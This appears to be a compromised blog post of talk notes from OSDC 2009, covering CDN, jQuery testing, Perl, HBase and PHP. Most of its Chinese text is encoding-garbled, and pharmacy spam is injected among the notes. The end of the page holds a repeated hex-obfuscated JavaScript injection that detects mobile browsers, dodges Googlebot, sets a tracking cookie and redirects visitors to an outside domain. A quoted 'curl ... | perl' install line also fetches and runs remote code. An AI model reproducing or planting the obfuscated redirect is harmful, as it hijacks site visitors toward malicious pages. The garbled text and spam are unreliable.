OSDC (Open Source Developers’ Conference) 2009 ci??i??e???i???c?i??

0

ei??i??e?????ci??i??e???i???c?i??, a?i?????ei??i??a???Si??ai???ei???csi????Ya?i??. Orz..

ei??i???i??? OSDC a?i??ei??i???i??i??c??????i???a?i?? Y! e????? ai??? jQuery a?i????i???i??i??ai??S (jQuery in Action) 😛

ei??i???i???a?i?? eeepc ai???ei??i??, a?i?????ai???ci???ei????i??i??csi??a?i??a??c?Sa?i??(??i?????a?i?? M$ csi???i???ci???ei??i??e??c?i??), a??a????i?? 3G a??ai???ei??i??ei??i??ci???~

??i??a?i??????i??? mousepad a?i??a??ci??i??e??, ????i???ei??i??ei??i??ei???ei???a??c??, a?? Plurk ai???ai??i??a??a??a??, ai??i??a??ei??i??a?? Plurk ei??i??ai??i??es?a??c?i??e?i??, ?i??i??ci??i??e??a?i??ei???????SS Plurk c?i??e?i??csi??e?i??ai??za?i??, a??ci??i??ei???ai??ze?i???i??i??, ai???a?i???i???ei??i?????ei??i??e?i??ci??i??csi??.

a?i??e?i??a??c?i??e?i????i??e??a?i??csi??, ei???a?i??es??i??i??c?i??e?i??a?i??a?i??ei???e?i??ai??i??ai???a??ei??zci??i??.

OSDC 2009 ?Si??a?i??ci??i??

OSDC 2009 ci??i??e??

Microsoft Open Source Strategy & Projects in Codeplex.com( Moonlight, Oxite as example )
  1. Oxite ei???a???i???a?i??e??e??a?sa?i??. (a??e?Z, a?? eeepc csi?? Firefox a?Sc?i??, headline ???c?i???Zi??.)
  2. Silverlight RIA csi??ei??i??a?i?? …. ??i??c?i??a?i?? ie6.. :~~ (M$ ei???ai??i??a??e??a??ci??? IE8, ?i??Ze??e?i??? ??i??a?????ai???ci??? IE6 a?i??. :~~)
  3. Moonlight on linux, c?i??ei??i??a?i??a??ai??i??a?i??ei??z~ (a??e?Z, ?z?ci??i????? M$, ai??i??e??a?i??ei??i??ai??i??ei???ei??z, ai??i??ci?????Ya?i??. XD)
Improve web performance using CDN – gslin (?Si??a?i??ci??i??: Using CDN to improve performance)
  1. CDN aSi??a?i?? TCP handshake, aSi??a?i??a?i??e?i??.
  2. ci??i??a?i??ai??i?????.
  3. DoS e??ci??i??.
  4. ?????i??
  5. a?i??c??ei??i??a?i????i?? CDN e??. (Akamai ei??i??ai??i??, Akamai ai??i???i??i?????a?i??c??ei??i??a?i??csi?? 3ai???a??a??)
  6. CDN e??ci??i???i???a??: c??ei??? (a?i??e?i??ei??i??a?i??e??ci??i??: 95%, ci??i??a???i??? ???ai??i???????i?? 36hr ???a???i??i??e??csi??.)
  7. 1Mbps = 10G/ai??i?? (ai??i???z?ei??i??a?i?? 1M, ai???e??a?i??ai??i????i??ei???a??ai???ci????Zi?? 10G)
  8. ai??i?????ci???ei???ai???a?i??c?i?? bug.
  9. ei??i??a?i??ai??i??ai??i??a??, a??e?i??ei???ei??i??ei??i??a??a??a??. (ci??i??ai???)
  10. Amazon CDN a???i?????? Gzip.
  11. SimpleCDN, 1M a??ci???a?i?? 400a?i??a??, a?i??c??ei??z, a??a?? file.css?v=…
  12. a??ci??? wget, ??i??a?i???i??? hosts ??i??ei??i??ei??Ya?i??.
Accessibility – Chris Heilmann
  1. Wikipediaai???Youtube e????i?? Accessibility csi??ai???e??.
  2. Keeping things simple. (ci??i??ai???)
  3. YQL console # e?i??ei??i?? YQL console a??ei??Y
  4. a??ci??? YQL WHERE a??e???Y? url=”msn.com” and xpath=”/h2″, ????SS h2 csi??ai??i??ai????i??i??ai???a?i??.
  5. ci??i??a?? Accessibility csi?? Flash player: JW FLV Media Player.
  6. ei????i??? Chris ci???ei???ci???ei???e?i???i??i??:
unit testing in jQuery – Paul Bakaus
  1. ai????i??sei???a?i??, ai???ci??i??a?i??ci?????Ya?i??. Q_Q
  2. simulate function.
  3. QUnit – jQuery JavaScript Library
  4. Honesty: ei??i????i??c??a?i?????a?i?? John Resig csi?? TestSwarm(JavaScript Testing Does Not Scale)
The Google App Engine Oil (GAEO) Framework – ericsk (?Si??a?i??ci??i??: An Introduction to GAEO web framework)
  1. a??esi??a??ai???e??ei??????csi?? Perl. XD
Good Evils in Perl – Gugod
  1. use warnings;
  2. use strict; ei??i??c?i??a??a?z?Zi??. (ai??i???i???csi???SSc?i??a??a???Zi??.)
  3. say “hi”; = print “hi\n”; ….
  4. Perl6 ai???ei???ai???ei??i??ei??i????i??ai??i??a??a?i??. (a??e??e?i??ci??i??)
  5. a?????, ei??i??a??cY?e?i???i??Ze??cZi??.. XD
  6. Junction.
  7. Perl6 a??ai???a?i???i????i???a??a?i??ai??i??ei??i??a??, a?i??ai??i??ai??i??ei??i??, a?i??ai??i?? ci??i??.
  8. any ei??i????i??ei???csi??. (any ai??? array csi??ei??i??c?i??ci??i?? ci???ei???e?z??i??)
  9. perldoc perlpragma
trading with open source tools – clkao
  1. Programming Language: R (a??ai?????i??e??e?i??ei??i??csi??a?s?i???ai???e?i??ci??i??, ci??i??a?i??ci??i??)
  2. VirtualBox(Windows) + memcached + Perl + c?i??a??ci????Zi??a?i??ai??i??.
e??ai?????i??ai???e?i??ci??i??ai???Console a?i???i??i??a?i?? – Mat
  1. ucimf
  2. Jfbterm
  3. FreeType e??ci???ai??i??azi??
  4. FbTerm
  5. Open Source a??ei??i??ci??i??e?i?????a??ei???ei???csi??.
  6. ei??i??ai???c?Y???a???i??Yai??i??, ?i??Yei??? Mat.
?i??i??c?i??ci??i??e??e?i??ai??? – MadButterfly – thinker + wycc
  1. ??i???i??Y???e??a?i??, a?i????????ai??i??a????i??ei???csi??ai??????, a??ei??i??: ai?????? MadButterfly
a??ci???Capture-HPCei??i??a??????i???ci???ei??? – david guan (?Si??a?i??ci??i??: Capture-HPC [email protected] OSDC.tw 2009)
  1. google safe browsing database
  2. safebrowsing-python
  3. md5(url)
  4. Honeypot e??ai??Za?i???i??i???i??S
  5. Capture-HPC ????i???ci???ei???csi?? research
  6. ci??i??ai??i??a?i???i??i?? list, ai??i?????aZi???Si??ci???ei???, ci??i??a??a?i??c?i??ci???ei??????a?i????i??ai???e??.
  7. Vmware VIX api a??ai????Zi??a?i??ai??i??e??c?i??a?? (aYi??e?? VM ai??i??e?i??e??a?i???i??Ycsi??c?i??a??)
  8. Vmware 1.0 ??i?? 2.0 a??.
  9. oldapps.com ?Si??e?Sci???csi??ei??Yei??i?? (ai??i??ai??s?i???e??a????????a?i??e?Sci???ei??Yei??i??a?i??e?i??ai??i??e??, a??ei??i??ai??i??ci???ci??i??a??ai????Si??a?i??e?Sci???)
  10. Good URL / Bad URL ??i??ai??i??.
  11. check safe.log / malicious.log / error.log
  12. Capture-HPC / Malzilla / DecryptJS
SD, a Peer to Peer Bug Tracker – Jesse Vincent (?Si??a?i??ci??i??: SD, a P2P bug tracking system)
  1. ???a?? Bug Tracker a?? git a?i?????a?i??ei??i??ei??i?? (??i??c?i??a???i???a??, a?i?????a??a??ei??i??csi???i??Yei???)
  2. ??i??e??a?i??ei??i??ai???a??e???i???, ai????SSci???ei???e?i???i??i?????ei??i??ei??i??a?i??:
  3. ai??i??e??:

    curl http://fsck.com/sd | perl # ??i?? curl http://17h.local/sd | perl
    export PATH=$PATH:~/sd/bin

  4. Distributed Bug Tracking with SD
  5. Prophet – A peer to peer replicated disconnected database
  6. Using SD
RoR Q&A session
  1. ????i????i??i??ci??? rails, e?Sci???csi?? Controller / Plugin c?i??ai??i??ai??i?? => ci?????i??e??ai???, ai???ei??i??e?Sci???ai??i??ci??i?????a??, a???SSe?i??ei???a??ci??? / a?i???i???csi??a?i??ai??i??a?i??a?i???i??i??ci???a??a??.
  2. ?Z?ai???ei?????i??ei???ai????i??i?? => ei????i???a?????csi??ai???e??, ??i??ai??sc?i??a??a??csi???i???a??, a??ai?????i??e??ai???ai??i??a??a??ai???e??.
  3. ei??i??ai??i??ai??i???i??Ya?i??a?i??a?i?????a?i??ei??i???i?????i??csi??a??, ei???ci??i??ai??i??e?i??a?i???Z?ai???csi???i????z?.
Songbird, an Open Source Media Player (?Si??a?i??ci??i??: Songbird)
  1. Built on Mozilla (XULRunner)
  2. Cross platform media player
  3. ei??i??ei??i????i?????a?i?? xPUD
  4. ai???a??csi?? apps, e??a?z firefox csi???i???a??ci??i?? base ei??i??ai??i??a?i??, a??a?Zei??i????i??ei???csi??.
  5. irc://irc.mozilla.org/#songbird
  6. ?i??? Songbird ai??i??e??csi??c?i??a??a?Ye??a??ai???ei???ai??i??a?i??a?i??~ c?Yai????i???.
Ruby 1.9 – ihower (?Si??a?i??ci??i??: Ruby c?i??a??e?ze?i??ci???ai??i??)
  1. OSDC.TW 2009 Ruby ci???ei????Si??a?i??ci??i??
e?i??ci??? open source ai???ai??i??ai???ci??i?? mobile-web e?i???i??i??a?i???z??i???a?????ai??i?? – Lukhnos + Mikimoto
  1. iPhone ???a?i??esi?? 0 a?i??csi?? phone
  2. a?????a?i??esi???i???a??a??ai????i??i??ei??i??ei??i??csi?? computer.
  3. Mobile computer -> data terminal.
  4. UI response a??a?i?? (ai??i??ai??i?? display, memory, cpu e??a??ai???, a???i???)
  5. a??ci???e?i??azi??csi??e?i???i??i??ci????i??i??, a??ei???ei??i??ai??i??aZi?? parse xml, e?za???i???.
  6. ei???ei????i??i??ci???ei???a??????i??i???i??i??c??c??.
  7. aY???i??a?S, ei??i??ai??i??c?i??ci??i??a??e??a???i???e??… XD => a??e?Zei??i??a?i???Si??a?i??ci??i??c?Y???a??e?i??ci????i??i??
  8. csv a?i??ci???a?i???????i??a??ai??i??csi??ai???e??(ci???a??????i???ai??i??ai??i??a??) e??a??ei??Yei??i??. (“,” a??c?i??, ai??sc?i??a?i??ai??i??a??ci???ai???ai???c??e??a??a??)
  9. iPhone aZYai??i??csi????i?? memory leak, ?i??i??ai???ei???ci??? LFHTTPRequest.
  10. server side csi??a?i??ei??i??.
  11. cloud computer e?i??ci????i??? ci??i??ai??i?????e??c?i??.
  12. ??i??ei???ai??i??ai??i???????i??a?i??ai??i??(ci??i??ai???)
  13. a??ci??? OpenCSV – csv parse (Java)
  14. Java Excel API (jexcelapi)
  15. Excel timestamp ??? 1900/1/1 ci??? 1, ???esi??a?i??ai??i??aSi?? 1. (Mac ??? 1904/1/1 ci??? 1)
  16. ei??i??ai?????i??a??csi??ci???e??ei??i????i??ei???csi??~
What Compilers do for us — Introduction to Evolution of Compiler Technologies – jserv
  1. a????i????i??a??e??a?i??ci???ai???, e??e?Zei??i??ai???ei??i??e???i???csi??.. :~~~
  2. ??i??ei??i??i?sc?i??a?i??a??ai??i??a?i?? Compiler — ?i???ei??i??ci???ei????Si??e?i??csi??e?i??ai???
something about Perl 5.10 – scw (?Si??a?i??ci??i??: something about Perl 5.10)
  1. FreeBSD: /usr/port/UPGRADE
  2. =cut ai??se??e?i??ei??? =cut
  3. man perlre
  4. man perldelta
  5. lwhsu: /usr/ports/UPDATING a??e?Zci??i??ei??????a?s???c?i?? XD
  6. ei??i?????ai???a??ei???ai???e??ai??i??a??a?i??. XD

generic sildenafil, generic clomid.

HBase, distributed database on Hadoop – rafan
  1. HBase: transaction, secondary indices.
  2. distributed database modeled on Google’s Bigtable.
  3. 4~8 core, 4G ram+. => ?i??Yai???aY???i??ei????i??i??
  4. key:(table,row,family:column,timestamp) – value:value => key ai??i??ai??i????i??ei???aS?a?i??ai??sci?????i??csi???i???ai??i??a?i??
  5. table ???e?i???Zi??a??e?Zcsi??. => ??i??csi????? key ci??i??a?i???i??i??csi??ei???ai??i?? “table” ?i??i??a??.
  6. ci??i??ai?????? Master(w) ?Zi??a?i??, ai??i??ai???e???Zi???Zi??. (c??ei??z, ?i???ai??i??a?i??)
  7. e?i?? Thrift a??a?? language aZi??ai???a?i??. (Facebook Developers | Thrift)
  8. ??i??ci??? REST aZi??ai???a?i??.
  9. ai???a?i?? CRUD ai??? (table)Scan.
  10. irc: #hbase on freenode
  11. HBase: Welcome to HBase!
Depth in web performance course – Rasmus Lerdorf (?Si??a?i??ci??i??: Simple is Hard)
  1. Twitter: Rasmus
  2. Scalability / Performance / Security
  3. e??ai???ai??i??a?i?? controller.(single front controller) => a??ei???a??ci???a?i??esi?? dispatcher aZi??a?s
  4. apache2 -X : single process (debug mode)
  5. Apache ?Z??i??i??a?i??ai???a?i??a??csi???i??i????i??ci??i??e?Za?i??e??.
  6. included ci??i??ai???csi??a?i??, a?i??ci??sai???e??c?Ycsi????i?? include a?i??, ai??i??a?i?? require_once e?????????Y?, a??e?i??ei??? e?i??ai???.
  7. a??ci???ei??i??a?i??a?????cY?e?i??c?i??a??a?i??csi??ai??sa??, ai??i??ai??i??a?????c?i??a?i?? HTML ai???c??ai???a?i??csi??ci??i??e??. => c?i??a??a??ci???a?i??a?i??c?Z, ei??????ei???ci???ai??i????i??ci???(e???SSa?i????i??ai??????), ei??i???????i??ei???ei???, a?Y?????i??ai??i??ei???csi??a?i??.
  8. HTML sould like HTML. => HTML ai??i??ei?????? HTML, a??ei???ci??? Function aZi??e?i??ai??sa?i??ai??i??a???i???
  9. KCachegrind wordpress.out
  10. I don’t like framework.
  11. You should know cost.
  12. ai???e??: ai??i???z???i??ai??sc?i?? DB e?i???i??i??, ei???a??aZi??a??ci??? ADODB ci??i??? => ci??i??ci??i?????c??ai???e??, a??ai???e?i??, e??a????i????s
  13. ai??zci??i??: postgresql / mysql / oracle => all done. => ei??sa?????ci???csi??ai??i??ei??i??a??a?i??, ai??i??c??a?i????i??ei??i???S?ei???a?i??ai??i??a??a??, a??e?i??ei??? ADODB ci??i??.
OpenFoundry c?i??ci??i???i???a?? – a??ai??Yai??? (OSSF)
  1. Shibboleth. => a?sa?i?? SSO, ?i??Sei???ci???c?i??.. ci??i??ci??i?? csi??c?i??ci??i??.
  2. SSO (Single Sign-on)
  3. Shibboleth a?i??ai??i??ai??i??e?i??ai???: Identity Provider(IdP) / Service Provider(SP)
  4. ei??i??a??a?i??ci??i??ai???csi??e??ai???(IdP) / ???a?i?????ai??i??csi??e??ai??? (SP)
  5. Shib Idp (java servlet)
  6. Shib SP (C++)
  7. SP -> shibd daemon : ai??? session ci???.
  8. 1 SP a??e??ai????i??i?? 1a?i?? IdP
  9. Single Sign Off. (ci??i??ai???)
Lightening talk
  1. IPERF / UDP
  2. QoS
  3. PacketLoss
  4. Jitter
  5. ei??i??c?i????i??
  6. =
  7. ZFS: c?i??a??ci???csi?? raid.
  8. ZFS: snapshot (es??i??i??a??ai???a?s snapshot)
  9. zpool list
  10. zfs list
  11. zfs snapshot xxx
  12. zfs rollback xxx => ei??i??aZY snapshot
  13. =
  14. 95% of all bugs are caused by … variables .. XD(ci??i??ai???) => ei??i??ci??i??ai???
  15. 95% csi???i??i????i?? bugs e?????ai??i??ci??? => ei??S?i???.
  16. ai??i??a?i??ci???ai??i??a??a?i??ei??Ycsi?? Bug ??i???Zi?? => remove all your variables.
  17. only remove the bad ones: global / package / module / class / local.
  18. ci???ai??i??ei??i??, Object a?????a?se?i??ai???ai???a?i??ai???csi??ai??i??a??, a??e?i??ei???ci???a?i??ci??i??ai??i??.
  19. ?Z? Functional Programming ?i???????i???ei???
  20. =
  21. 20mg zestril without prescription.

  22. $4 ai??i??c??csi??: hiChannel.sh (ei??i??e?? Hinedo ??i??e?i????i??a??e??csi??ei??i??a?i??e??ci?????i???i??i??e??a?i??)
ci???ei???ai???e??

ai???e??: a??ai???ai??i????i??ai??? Rasmus ei????i??? PHP6 ci???a?i??ei??? Java a?i??(ai??i??a???i??Yei???), ???a?i??c?i??a?????a?i??e?i??ei???a?sai??i??ei???a?i???i????

ai??zci??i??:

  1. PHP4 ~ PHP6 e??a???????i??ai???ai??i??csi???i???ei??S, PHP6 a?i??a?????a?? Java / C++, PHP ??i??ei???ai??i??csi??e???i???.
  2. a?i??c??a??e??ei??i????i?? PHP2 csi?? Code, ??i????i??a?i??c?s, e??ei??i???i???a??csi??a???i??Yai???a?Se?i??a??, ??i????i??ai??i??a?i??ai???e??.
  3. a??ei???ai??i?? PHP ci??i??c?i??a??e?ze?i??, ei??????ci??i??ai???ai??i??, e??a?i??ei??Yai??i???SSa?i????i??ai??????csi??ai???ai??i??. => PHP ???ei???ei??i??a??a??ai?????i??ai???ei??i??, a?i??ei??Yai????i??i??csi??ai???ai??i??.
  4. ei???ei??z???ci???ai??i??, a?i??ei??Y. ?i??i??ai??i??a?Yei???a??ai???a?i??ei??Y?Y?ei???.
  5. ai??Sai??i??c?i??a?i??ai??i??a?i?? function, e??a??ai???a??a?i??csi???Y?a?i?? document, a?i??a?i??ai?????i??ci??i??ei??i??. => c?Ya????i??ai??i??ai???e?ze?i??e??e?????a?i??a?? php.net csi???Y?ei???ai??i??e?? + ci????z? (ci????z?e????i??ci???ai??i??csi??c?i??a?i??a??ai???a??ei???)
  6. framework ???a??ai???ei??i??csi??, ai??i???z????ci??i???Y?a?i??c?i??ci??i??ai???ci???csi?? framework, ei???????i???c??csi??, a?i??ei??????ei???ai??i??a??ai????Z??Zi??.
  7. predisone order on line .

  8. ei??i?????ai??za?i??ai??i????i??a??ei??i??csi??ei??i??a?i??, a??a??ei???: PHPa?i??c?i??csi??ei??i??ci???c?i??e?? / Rasmus Lerdorf ?i???a?i??c??ei??i??a?i???i???c?i??(c?i?? e?i???i??i???i??i??ei??i??)
a??a?i??ai???e??
  • ci??i????i???i??i??ei??i??e??csi??ai????Si??, ai??i??a??ai???c?i??a?i??ai???ai??i??a??csi??e???i???, a?z Google c?i??a?i??: HTML DOCTYPE ci???cYi??a?i????i?? (ci???ai??? HTML 5), a?? M$ c?i??a?i??csi??e?????ei??Yei??i???i???a???i??i??ci???, ai???ei???a????i???i???cZi???????i??, c?i??c??ai??sai??i??e?? ci??i??ci??i??(e??eSi??ai??Za?i??).
  • 95% of all bugs are caused by => where can i buy clomid cheap, cheap zithromax. variables (ei??i??ai??i??ci???ei??i??c?Ycsi?????ai???ci??i??ai???a?i??, ci??i???Z?)
ci???ei???ci???ei???

Source var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 